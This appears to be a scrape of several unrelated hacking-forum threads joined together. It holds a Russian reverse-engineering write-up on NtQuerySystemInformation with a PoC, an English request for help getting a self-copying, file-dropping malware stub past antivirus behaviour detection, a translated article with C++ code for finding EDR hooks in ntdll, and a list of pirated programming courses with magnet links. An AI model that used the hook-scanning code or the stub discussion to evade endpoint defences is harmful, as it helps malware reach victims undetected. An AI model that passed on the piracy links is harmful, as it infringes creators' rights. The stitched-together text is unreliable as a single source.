   SystemCodeIntegrityClearDynamicStores = 0n225
   SystemDifPoolTrackingInformation = 0n226
   SystemPoolZeroingInformation = 0n227
   SystemDpcWatchdogInformation = 0n228
   SystemDpcWatchdogInformation2 = 0n229
   SystemSupportedProcessorArchitectures2 = 0n230
   SystemSingleProcessorRelationshipInformation = 0n231
   SystemXfgCheckFailureInformation = 0n232
   MaxSystemInfoClass = 0n233

Начну по порядку, а именно с функции NtQuerySystemInformation. Согласно msdn эта функция "Извлекает указанную системную информацию ". Данная функция экспортируется из ntdll.dll и посредством сискола выполняется в контексте ядра. На самом деле в ядре основную логику выполняет функция ExpQuerySystemInformation размером ~ 3000 строк. В спойлере ниже "причесанный" вывод Hex-Rays. Да, я из тех, кто чаще всего обращается к декомпилятору.

Spoiler: NtQuerySystemInformation.c

C:Copy to clipboard

NTSTATUS __stdcall NtQuerySystemInformation(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength)
{
    __int16 *InputBuffer; // r10
    int InputBufferLength; // r8d
    __int16 Group; // [rsp+40h] [rbp+8h] BYREF

    InputBuffer = 0i64;
    Group = 0;
    if ( SystemInformationClass < SystemWow64SharedInformationObsolete
      || SystemInformationClass >= SystemProcessorIdleCycleTimeInformation )
    {
        switch ( SystemInformationClass )
        {
            case SystemProcessorPerformanceInformation:
            case SystemInterruptInformation:
            case SystemProcessorIdleInformation:
            case SystemProcessorPowerInformation:
            case SystemProcessorIdleCycleTimeInformation:
            case SystemProcessorPerformanceDistribution:
            case SystemProcessorCycleTimeInformation:
            case SystemProcessorPerformanceInformationEx:
                Group = KeGetCurrentPrcb()->Group;
                goto LABEL_8;
            case SystemLogicalProcessorInformation:
LABEL_8:
                InputBuffer = &Group;
                InputBufferLength = 2;
                return ExpQuerySystemInformation(
                           SystemInformationClass,
                           (__int64)InputBuffer,
                           InputBufferLength,
                           SystemInformation,
                           SystemInformationLength,
                           ReturnLength);
            case SystemLogicalProcessorAndGroupInformation:
            case SystemNodeDistanceInformation:
            case SystemInterruptSteeringInformation:
            case SystemFeatureConfigurationInformation:
            case SystemFeatureConfigurationSectionInformation:
                return STATUS_INVALID_INFO_CLASS;
            default:
                break;
        }
    }
    InputBufferLength = 0;
    return ExpQuerySystemInformation(
               SystemInformationClass,
               (__int64)InputBuffer,
               InputBufferLength,
               SystemInformation,
               SystemInformationLength,
               ReturnLength);
}

Стоит также отметить, что практически для каждого поля SystemInformationClass в функции ExpQuerySystemInformation вызывается отдельная ядерная функция, которая "добывает" системную информацию и вежливо помещает в юзермодный буфер, который мы выделяем под системную структуру (если мы знаем размер этой структуры и из чего эта структура состоит). Не все структуры отревершены, но многие могут быть найдены в блоге Geoff Chappel'a или же в исходных кодах Windows 2003/XP.

xss1.png

В общем, масштабы этой NT-функции впечатляют.

Чтобы не путаться в терминологии под классом я буду понимать просто ту или иную системную информацию, которую мы хотим извлечь. Мое внимание привлек класс SystemFirmwareBootPerformanceInformation из структуры _SYSTEM_INFORMATION_CLASS с порядковым номером 198 т.к. я нигде не нашел о нем информации. Собственно, первое, что нам нужно знать - это валидный размер буфера, который мы будем выделять. Этого можно достигнуть путем реверс- инжиниринга, либо сыграть в угадайку. Если мы не укажем валидный размер, то получим ошибку STATUS_INFO_LENGTH_MISMATCH. В коде это выглядит так (на примере класса SystemHypervisorSharedPageInformation) :

C:Copy to clipboard

                case SystemHypervisorSharedPageInformation:// Returns 0x7ffe3000 - _HYPERVISOR_SHARED_DATA address
                                                //
                                                //
                                                // typedef struct _SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION
                                                // {
                                                //     QWORD HyperSharedAddr;
                                                // } SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION;
                    ReturnedLength = 8;
                    if ( SystemInformationLength < 8 )
                    {
                        status = STATUS_INFO_LENGTH_MISMATCH;
                    }
                    else
                    {
                        v36 = HyperSharedDataAddr;
                        *(_QWORD *)SystemInformation = 0i64;
                        *(_QWORD *)SystemInformation = v36;
                    }
                    goto ReturnFromFunc;

Для наглядности, прототип

C:Copy to clipboard

__kernel_entry NTSTATUS NtQuerySystemInformation(
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
  [in, out]       PVOID                    SystemInformation,
  [in]            ULONG                    SystemInformationLength,
  [out, optional] PULONG                   ReturnLength
);

Т.е. в данном случае, вызывая NtQuerySystemInformation для класса SystemHypervisorSharedPageInformation, мы должны указать SystemInformationLength >= 8, чтобы функция вернула STATUS_SUCCESS.

Вернемся обратно к SystemFirmwareBootPerformanceInformation. Что примечательно для этого класса, то ядерная функция, которая извлекает нужную информацию - xHalSetSystemInformation вызывается не напрямую, а через _guard_dispatch_icall, а сама процедура xHalSetSystemInformation в дизассемблере просто возвращает STATUS_INVALID_LEVEL.

xss2.png

Я не знаю как работает весь этот CFG (Control Flow Guard), который реализуется через _guard_dispatch_icall, но мне нужно узнать размер и содержимое структуры. Отладчик запускать было, честно говоря, лень. Я пошел другим путем. Да, угадайка (чуйка очка) - сила.

Указав в качестве буфера размер одной страницы - 0x1000 я получил любопытные данные в шестнадцатеричном дампе.

Code:Copy to clipboard

    46 42 50 54 38 00 00 00  02 00 30 02 00 00 00 00  |  FBPT8.....0.....
    DE C8 AC E8 A1 D0 68 80  23 58 42 07 01 00 00 00  |  ......h.#XB.....
    5B 03 13 09 01 00 00 00  A8 CA 9A 55 01 00 00 00  |  [..........U....
    2D 23 AC 55 01 00 00 00                           |  -#.U....
    ....

Прозорливый глаз сразу увидит что-то похожее на сигнатуру в начале дампа. Немного погуглив, оказалось, что это т.н. [Firmware Basic Boot Performance Table](https://uefi.org/specs/ACPI/6.4/05_ACPI_Software_Programming_Model/ACPI_Software_Programming_Model.html#firmware- basic-boot-performance-table), описанная спецификацией UEFI.

acpi.png

Создадим необходимые структуры.

C:Copy to clipboard

/*
Based on https ://uefi.org/specs/ACPI/6.4/05_ACPI_Software_Programming_Model/ACPI_Software_Programming_Model.html

The Firmware Basic Boot Performance Table resides outside of the FPDT.
It includes a header, defined in Table 5.93, and one or more Performance Records.
*/
typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER
{
    DWORD    Signature;                        // ‘FBPT’ is the signature to use.
    BYTE    Length;                            // Length of the Firmware Basic Boot Performance Table.
                                            // This includes the header and allocated size of the subsequent records.
} FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER;

typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD
{
    USHORT    PerformanceRecordType;            // 2 - Firmware Basic Boot Performance Data Record. Only one of these records will be produced.
    BYTE    RecordLength;                    // 48 - This value depicts the length of the performance record, in bytes.
    BYTE    Revision;                        // 2 - Revision of this Performance Record
    DWORD    Reserved;                        // Reserved
    DWORD64 ResetEnd;                        // Timer value logged at the beginning of firmware image execution. This may not always be zero or near zero.
    DWORD64 OSLoaderImageStart;                // Timer value logged just prior to loading the OS boot loader into memory.
                                            // For non-UEFI compatible boots, this field must be zero.
    DWORD64 OsLoaderStartImageStart;        // Timer value logged just prior to launching the currently loaded OS boot loader image.
                                            // For non-UEFI compatible boots, the timer value logged will be just prior to the INT 19h handler invocation
    DWORD64 ExitBootServicesEntry;            // Timer value logged at the point when the OS loader calls the ExitBootServices function for UEFI compatible firmware.
                                            // For non-UEFI compatible boots, this field must be zero.
    DWORD64 ExitBootServicesExit;            // Timer value logged at the point just prior to the OS loader gaining control back from the ExitBootServices
                                            // function for UEFI compatible firmware. For non-UEFI compatible boots, this field must be zero.
} FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD;

typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE
{
    FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER Header;
    FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD PerfRecord;
} FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE;

Теперь мы можем точно указать размер структуры, который равен, судя по спецификации и полученному дампу, 0x38 или 56 байт (поле Length). А теперь выведем на экран результат. Отмечу, что права администратора в данном случае не нужны.

Spoiler: systeminfo.c

C:Copy to clipboard

// It's just a  PoC
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>

#pragma comment(lib, "ntdllp.lib")

#define SystemFirmwareBootPerformanceInformation 198

/*
Based on https ://uefi.org/specs/ACPI/6.4/05_ACPI_Software_Programming_Model/ACPI_Software_Programming_Model.html

The Firmware Basic Boot Performance Table resides outside of the FPDT.
It includes a header, defined in Table 5.93, and one or more Performance Records.
*/
typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER
{
    DWORD    Signature;                        // ‘FBPT’ is the signature to use.
    BYTE    Length;                            // Length of the Firmware Basic Boot Performance Table.
    // This includes the header and allocated size of the subsequent records.
} FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER;

typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD
{
    USHORT    PerformanceRecordType;            // 2 - Firmware Basic Boot Performance Data Record. Only one of these records will be produced.
    BYTE    RecordLength;                    // 48 - This value depicts the length of the performance record, in bytes.
    BYTE    Revision;                        // 2 - Revision of this Performance Record
    DWORD    Reserved;                        // Reserved
    DWORD64 ResetEnd;                        // Timer value logged at the beginning of firmware image execution. This may not always be zero or near zero.
    DWORD64 OSLoaderImageStart;                // Timer value logged just prior to loading the OS boot loader into memory.
    // For non-UEFI compatible boots, this field must be zero.
    DWORD64 OsLoaderStartImageStart;        // Timer value logged just prior to launching the currently loaded OS boot loader image.
    // For non-UEFI compatible boots, the timer value logged will be just prior to the INT 19h handler invocation
    DWORD64 ExitBootServicesEntry;            // Timer value logged at the point when the OS loader calls the ExitBootServices function for UEFI compatible firmware.
    // For non-UEFI compatible boots, this field must be zero.
    DWORD64 ExitBootServicesExit;            // Timer value logged at the point just prior to the OS loader gaining control back from the ExitBootServices
    // function for UEFI compatible firmware. For non-UEFI compatible boots, this field must be zero.
} FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD;

typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE
{
    FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER Header;
    FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD PerfRecord;
} FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE;

int main()
{
    NTSTATUS status;
    FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE fbpt = { 0 };
    DWORD size = sizeof(fbpt);

    status = NtQuerySystemInformation(SystemFirmwareBootPerformanceInformation, &fbpt, size, NULL);

    if (!NT_SUCCESS(status))
    {
        printf("[-] NtQuerySystemInformation failed with status = %x\n", status);
    }

    //DumpHex(&fbpt, size);
    /*
    46 42 50 54 38 00 00 00  02 00 30 02 00 00 00 00  |  FBPT8.....0.....
    DE C8 AC E8 A1 D0 68 80  23 58 42 07 01 00 00 00  |  ......h.#XB.....
    5B 03 13 09 01 00 00 00  A8 CA 9A 55 01 00 00 00  |  [..........U....
    2D 23 AC 55 01 00 00 00                           |  -#.U....
    */
    printf(" _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER\n\n");
    printf("FBPT Signature:\t\t%x\nFBPT Length:\t\t%x\n\n", fbpt.Header.Signature, fbpt.Header.Length);
    printf("_FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD\n\n");
    printf("PerformanceRecordType:\t%x\n"
        "RecordLength:\t\t%x\n"
        "Revision:\t\t%x\n"
        "Reserved:\t\t%x\n"
        "ResetEnd:\t\t%llx\n"
        "OSLoaderImageStart:\t%llx\n"
        "OsLoaderStartImageStart:%llx\n"
        "ExitBootServicesEntry:\t%llx\n"
        "ExitBootServicesExit\t%llx\n",
        fbpt.PerfRecord.PerformanceRecordType,
        fbpt.PerfRecord.RecordLength,
        fbpt.PerfRecord.Revision,
        fbpt.PerfRecord.Reserved,
        fbpt.PerfRecord.ResetEnd,
        fbpt.PerfRecord.OSLoaderImageStart,
        fbpt.PerfRecord.OsLoaderStartImageStart,
        fbpt.PerfRecord.ExitBootServicesEntry,
        fbpt.PerfRecord.ExitBootServicesExit);
}

xss3.png

Возможно, кому-то эта информация пригодится. Кстати, в виртуальной машине вы получите пустую таблицу и, возможно, на машинах с Legacy BIOS тоже что-то будет отличаться.
Тестировал все на машине с Windows 11 и Windows 10 на виртуалке.

UPD.

Прогнал все-таки на виртуалке. Стек вызовов.

Code:Copy to clipboard

2: kd> k
 # Child-SP          RetAddr           Call Site
00 fffffd08`b42ae3f8 fffff801`4683c222 nt!HaliQuerySystemInformation
01 fffffd08`b42ae400 fffff801`466f18c7 nt!ExpQuerySystemInformation+0x14a812
02 fffffd08`b42aeac0 fffff801`46405fb5 nt!NtQuerySystemInformation+0x37
03 fffffd08`b42aeb00 00007ffb`014ac454 nt!KiSystemServiceCopyEnd+0x25
04 000000a8`d89efce8 00007ff7`0d7f1105 ntdll!NtQuerySystemInformation+0x14

HaliQuerySystemInformation возвращает STATUS_NOT_IMPLEMENTED. Полагаю, отсюда и пустая таблица.

behavior detection bypass
ID: 6765d804b4103b69df3758c1
Thread ID: 60922
Created: 2022-01-06T10:23:06+0000
Last Post: 2022-05-27T22:33:35+0000
Author: mose3c
Replies: 28 Views: 2K

Hi xss members

I mad my stub clean and work fine on my windows but on my windows freind when he try to lunch the antivurs catch it and status : behavior detection .
Yeb and then delete .

the stub usualy created with c++ he copy them self and run in new process then drop file to temp path
and run it in new process just like this .

so any one has an idea , the insane thing here in memory can bypass without behvaior analysis .

Ищем хуки в системных вызовах
ID: 6765d804b4103b69df3758d2
Thread ID: 65420
Created: 2022-04-09T14:20:18+0000
Last Post: 2022-04-09T16:29:23+0000
Author: Azrv3l
Prefix: Статья
Replies: 1 Views: 2K

Можно быстро определить, какие вызовы Windows API перехватываются EDR, используя технику встроенного исправления, когда инструкция jmp вставляется в начало перехватываемой заглушки системного вызова.

Введение
Функция до установки хука

Ниже показана заглушка для NtReadVirtualMemory в системе без EDR, что означает, что системный вызов NtReadVirtualMemory не перехватывается:

1.png

Мы видим, что заглушка системного вызова NtReadVirtualMemory начинается с инструкций:

Code:Copy to clipboard

00007ffc`d6dcc780 4c8bd1          mov     r10,rcx
00007ffc`d6dcc783 b83f000000      mov     eax,3Fh
...

Вышеупомянутое относится к большинству функций, начинающихся сZw, то есть ZwReadVirtualMemory тоже.

Вот как эти инструкции выглядят в байткоде:

Code:Copy to clipboard

4c 8b d1 b8

2.png

4c 8b d1 b8 — важны для этой статьи, запомните их — мы скоро вернемся к этому в разделе «Проверка наличия хуков».

Функция после установки хука
Ниже показан пример того, как выглядит заглушка системного вызова NtReadVirtualMemory, когда она перехвачена EDR:

3.png

Обратите внимание, что в этом случае первая инструкция — это инструкция jmp, перенаправляющая выполнение кода куда-то еще (другой модуль в памяти процесса):

Code:Copy to clipboard

jmp 0000000047980084

вот как она выглядит в байткоде:

Code:Copy to clipboard

e9 0f 64 f8 c7

e9 - опкод для ближнего прыжка
0f64f8c7 - смещение относительно адреса текущей инструкции, куда перейдет код

Проверка наличия хуков
Зная, что интересные функции/системные вызовы (которые часто используются в вредоносных программах), названия которых начинаются с Nt | Zw, до установки хука, начнинаются с опкодов: 4c 8b d1 b8, мы можем определить, перехвачена ли данная функция или нет, следуя этому алгоритму:

  1. Перебрать все экспортированные функции ntdll.dll
  2. Прочитать первые 4 байта заглушки системного вызова и проверить, начинаются ли они с 4c 8b d1 b8 1. Если да - то хук не установлен 2. Если нет, функция, скорее всего, перехвачена (за парой исключений, упомянутых под спойлером "Ложные срабатывания").

Ниже приведен упрощенный визуальный пример, в который объясняет описанный выше процесс:

  1. NtReadVirtualMemory начинается с кода операции e9 0f 64 f8, а не 4c 8b d1 b8, что означает, что она скорее всего перехвачена
  2. NtWriteVirtualMemory запускается с опкодами 4c 8b d1 b8, что означает, что она не была перехвачена.

4.png

Spoiler: Ложные срабатывания

Хотя этот метод очень эффективен при обнаружении функций, перехваченных с помощью встроенных исправлений, он возвращает несколько ложных срабатываний при поиске перехваченных функций внутри ntdll.dll, например:

  • NtGetTickCount
  • NtQuerySystemTime
  • NtdllDefWindowProc_A
  • NtdllDefWindowProc_W
  • NtdllDialogWndProc_A
  • NtdllDialogWndProc_W
  • ZwQuerySystemTime

Код
Ниже приведен код, который мы можем скомпилировать и запустить на конечной точке с AV/EDR, чтобы найти API, которые, скорее всего, были перехвачены:

C++:Copy to clipboard

#include <iostream>
#include <Windows.h>
int main()
{
    PDWORD functionAddress = (PDWORD)0;
   
    // Получение адресса ntdll
    HMODULE libraryBase = LoadLibraryA("ntdll");
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;
    PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew);
    // Поиск таблицы экспортов
    DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);
    // Смещения к списку названий и адресов экспортированных функий
    PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions);
    PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames);
    PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals);
    // Итерация по функциям  Iterate through exported functions of ntdll
    for (DWORD i = 0; i < imageExportDirectory->NumberOfNames; i++)
    {
        // Получение имени
        DWORD functionNameRVA = addressOfNamesRVA[i];
        DWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;
        char* functionName = (char*)functionNameVA;
       
        // Получение адреса
        DWORD_PTR functionAddressRVA = 0;
        functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
        functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);
        // Образец первых четырёх байтов функции
        char syscallPrologue[4] = { 0x4c, 0x8b, 0xd1, 0xb8 };
        // Функции начинающиеся только с Nt | Zw
        if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0)
        {
            // Сравнение начала функции с образцом\
            if (memcmp(functionAddress, syscallPrologue, 4) != 0) {
                printf("Potentially hooked: %s : %p\n", functionName, functionAddress);
            }
        }
    }
    return 0;
}

Демо
Ниже приведен фрагмент вывода программы, скомпилированной из приведенного выше исходного кода и запущенной в системе с присутствующим EDR. Он показывает некоторые интересные функции (отображены не все), которые, скорее всего, перехвачены, за исключением NtGetTickCount, которая, как упоминалось ранее, является ложным срабатыванием:

5.png

Дополнение
После того, как я разместил эту заметку в своем твиттере, я получил следующий ответ от Дерека Ринда:

6.png

Дерек предлагает проверить, не перехвачена ли сама инструкция системного вызова. Подпрограмму обработчика системных вызовов (отвечающую за поиск функций в соответствии с номером системного вызова) можно найти, прочитав специальный регистр модели (MSR) по адресу 0xc0000082 и подтвердив, что хранящийся там адрес указывает на nt!KiSystemCall64Shadow.

Ниже показано, как это можно сделать вручную в WinBDG:

Code:Copy to clipboard

lkd> rdmsr c0000082
msr[c0000082] = fffff803`24a13180
lkd> u fffff803`24a13180
nt!KiSystemCall64Shadow:
fffff803`24a13180 0f01f8          swapgs
fffff803`24a13183 654889242510900000 mov   qword ptr gs:[9010h],rsp

7.png

От ТС
Эта статья является переводом, оригинал доступен [тут](https://www.ired.team/offensive-security/defense-evasion/detecting- hooked-syscall-functions)
Небольшая, но полезная заметка, особенно для новичков. Решил перевести для форума.
Если есть какие-то ошибки, пишите в лс - исправлю!

Перевод:
Azrv3l cпециально для xss.is

Слив курсов по программированию
ID: 6765d804b4103b69df3758d5
Thread ID: 55879
Created: 2021-08-26T07:53:19+0000
Last Post: 2022-04-05T17:47:54+0000
Author: R3SET
Replies: 17 Views: 2K

![? Важные языки программирования, используемые этичными ...](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fiu%2F%3Fu%3Dhttps%253A%252F%252Fitsecforu.ru%252Fwp- content%252Fuploads%252F2019%252F04%252Frecursosprogramadores.png%26f%3D1%26nofb%3D1&hash=0a2b0d2327a070869ae88493c6cbd7bc)​

**C++
** OTUS | C++ для начинающих программистов (2020) Link
OTUS | Разработчик C++ (2020) Link
**C#
** ITVDN, Александр Шевчук | C# Базовый (ООП) (2021) Link
OTUS, Алексей Ягур | C# ASP.NET Core разработчик [Части 1-4 из 5] (2021) Link
ITVDN, Александр Шевчук | C# 8.0 Стартовый (2021) Link
OTUS - Разработчик C# (2020) [Link](http://magnet:?xt=urn:btih:0425ac2220d45502da4631caafc34d87806c73f3&dn=[underver.se].t166992.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
OTUS | C# для начинающих программистов (2020) Link
**JAVA
** [Skillbox] Даниил Пилипенко - Java-разработчик (2020) [Link](http://magnet:?xt=urn:btih:db40f75513b10f30aecbf7022ba0d117e35cb496&dn=[underver.se].t182417.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Foxminded - Java Start (2020) [Link](http://magnet:?xt=urn:btih:a88ae5b5c258eb40f38c5d72c472b958c0452ad8&dn=[underver.se].t166096.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Foxminded - Инструментарий Java для новичка (2020) [Link](http://magnet:?xt=urn:btih:be801b3a4d9c98b09df41d8d37ddff03b541ee38&dn=[underver.se].t171348.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Kotlin
Udemy - Android разработка на Kotlin - с нуля до продвинутого уровня (2020) [Link](http://magnet:?xt=urn:btih:4053703759c47c97cc93d5789e779b666371f1f7&dn=[underver.se].t169439.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Udemy, Andrey Sumin - Android профессиональный уровень (Kotlin) (2020) [Link](http://magnet:?xt=urn:btih:9f693b500ab53c6ed79f63b91eed874fd6e84dfd&dn=[underver.se].t217655.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Специалист - Kotlin. Уровень 1. Основы программирования (2020) [Link](http://magnet:?xt=urn:btih:7dd944f18f9f91fb8af8cee0164d83792d8bf940&dn=[underver.se].t167595.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Специалист - Kotlin. Уровень 2. Разработка приложений (2020) [Link](http://magnet:?xt=urn:btih:2ce5cd186d93c8dea084066e173d64fddefb68f9&dn=[underver.se].t167594.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Swift
[SwiftBook] Программирование на Swift (2016-2020) Link
PHP
Михаил Русаков - PHP и MySQL с Нуля до Гуру 2.0 (2019) [Link](http://magnet:?xt=urn:btih:92167561cf5ff950aec6f7795890f6c29d152e5c&dn=[underver.se].t211550.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
AreaWeb, Михаил Протасевич - Laravel 8 — лучший PHP фреймворк (2020) [Link](http://magnet:?xt=urn:btih:566ad6d1d72bffabe2a3499f7dc57300cfd9f160&dn=[underver.se].t202382.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Дмитрий Лаврик - PHP – базовый курс (2020) [Link](http://magnet:?xt=urn:btih:4a29c63b643459a120cd645d67779b5496e7e045&dn=[underver.se].t164778.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
ITVDN, Владимир Кадук - PHP 8.0 Стартовый (2021) [Link](http://magnet:?xt=urn:btih:c6f921a0a88ec10078f0cc61e3d0b550a41fe9df&dn=[underver.se].t208712.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
JavaScript
Udemy, Иван Петриченко | Полный курс по JavaScript + React - с нуля до результата (2021) Link
Udemy, Владилен Минин | JavaScript 2021 - Полное Руководство с Нуля до Профи (2020) Link
HTML+CSS
HTML Academy | HTML и CSS. Адаптивная вёрстка и автоматизация (2020-2021) Link
HTML Academy - Онлайн курс HTML и CSS. Профессиональная вёрстка сайтов (2021) [Link](http://magnet:?xt=urn:btih:56800b5dc1dbf93168ef5a8cd2b8e8467d4e5bc1&dn=[underver.se].t207057.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
DevOps
[OTUS] DevOps практики и инструменты (2019) Link
GoLang
OTUS - Разработчик Golang (2019) [Link](http://magnet:?xt=urn:btih:62c81b7dff7a94c7392b6454fcef571fe4126be3&dn=[underver.se].t162463.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Python
SkillBox, Алексей Половинкин и др. - Python-фреймворк Django (2021) [Link](http://magnet:?xt=urn:btih:8359850b4cd0dda08a0984e563c3a91628292814&dn=[underver.se].t212433.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
